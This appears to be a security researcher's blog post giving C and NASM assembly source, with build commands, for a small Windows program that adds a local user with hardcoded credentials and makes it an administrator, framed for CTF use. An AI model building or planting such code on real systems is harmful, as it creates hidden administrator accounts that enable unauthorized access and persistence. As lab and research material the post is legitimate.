A friend asked me for a small program to add a new local user to a Windows system and make that user member of the Administrators group (CTF anyone? 😉 ).
I could find a program in my repository, but it was a very old program using system commands.
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
system("net user hack knock /add");
system("net localgroup administrators hack /add");
return 0;
}
The program worked as expected, however, this inspired me to make a very small program that would do this via the Windows API. Thus I developed the following 32-bit assembler program:
; Assembly code to add a new local user and make it member of Administrators group
; Written for NASM assembler (http://www.nasm.us) by Didier Stevens
; https://DidierStevens.com
; Use at your own risk
;
; Build:
; nasm -f win32 add-admin.asm
; Microsoft linker:
; link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib
; https://blog.didierstevens.com/2018/11/26/quickpost-compiling-with-build-tools-for-visual-studio-2017/
; /fixed -> no relocation section
; /debug:none /EMITPOGOPHASEINFO -> https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section
; /filealign:256 -> smaller, but no valid exe
; MinGW linker:
; ld -L /c/msys64/mingw32/i686-w64-mingw32/lib --strip-all add-admin.obj -l netapi32 -l kernel32
;
; History:
; 2020/03/13
; 2020/03/14 refactor
; 2020/03/15 refactor
BITS 32
%define USERNAME 'hacker'
%define PASSWORD 'P@ssw0rd'
%define ADMINISTRATORS 'administrators'
global _main
extern _NetUserAdd@16
extern _NetLocalGroupAddMembers@20
extern _ExitProcess@4
struc USER_INFO_1
.uName RESD 1
.Password RESD 1
.PasswordAge RESD 1
.Privilege RESD 1
.HomeDir RESD 1
.Comment RESD 1
.Flags RESD 1
.ScriptPath RESD 1
endstruc
struc LOCALGROUP_MEMBERS_INFO_3
.lgrmi3_domainandname RESD 1
endstruc
USER_PRIV_USER EQU 1
UF_SCRIPT EQU 1
section .text
_main:
mov ebp, esp
sub esp, 4
; NetUserAdd(NULL, level=1, buffer, NULL)
lea eax, [ebp-4]
push eax
push UI1
push 1
push 0
call _NetUserAdd@16
; NetLocalGroupAddMembers(NULL, administrators, level=3, buffer, 1)
push 1
push LMI3
push 3
push ADMINISTRATORS_UNICODE
push 0
call _NetLocalGroupAddMembers@20
; ExitProcess(0)
push 0
call _ExitProcess@4
; uncomment next line to put data structure in .data section (increases size PE file because of extra .data section)
; section .data
UI1:
istruc USER_INFO_1
at USER_INFO_1.uName, dd USERNAME_UNICODE
at USER_INFO_1.Password, dd PASSWORD_UNICODE
at USER_INFO_1.PasswordAge, dd 0
at USER_INFO_1.Privilege, dd USER_PRIV_USER
at USER_INFO_1.HomeDir, dd 0
at USER_INFO_1.Comment, dd 0
at USER_INFO_1.Flags, dd UF_SCRIPT
at USER_INFO_1.ScriptPath, dd 0
iend
USERNAME_UNICODE:
db __utf16le__(USERNAME), 0, 0
PASSWORD_UNICODE:
db __utf16le__(PASSWORD), 0, 0
ADMINISTRATORS_UNICODE:
db __utf16le__(ADMINISTRATORS), 0, 0
LMI3:
istruc LOCALGROUP_MEMBERS_INFO_3
at LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname, dd USERNAME_UNICODE
iend
To create the executable, you need to assemble and link this assembly code (this is not shellcode, just assembling is not enough).
Assembling is done with nasm (-f win32 to create a 32-bit object file):
nasm -f win32 add-admin.asm
Linking can be done with Microsoft’s linker (see Quickpost: Compiling with Build Tools for Visual Studio 2017) or MinGW‘s linker.
MS:
link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib
I use /fixed so prevent the creation of a relocation section, which would make the EXE larger.
MinGW:
ld -L /c/msys64/mingw32/i686-w64-mingw32/lib –strip-all add-admin.obj -l netapi32 -l kernel32
In both cases, the EXE is 1536 bytes long.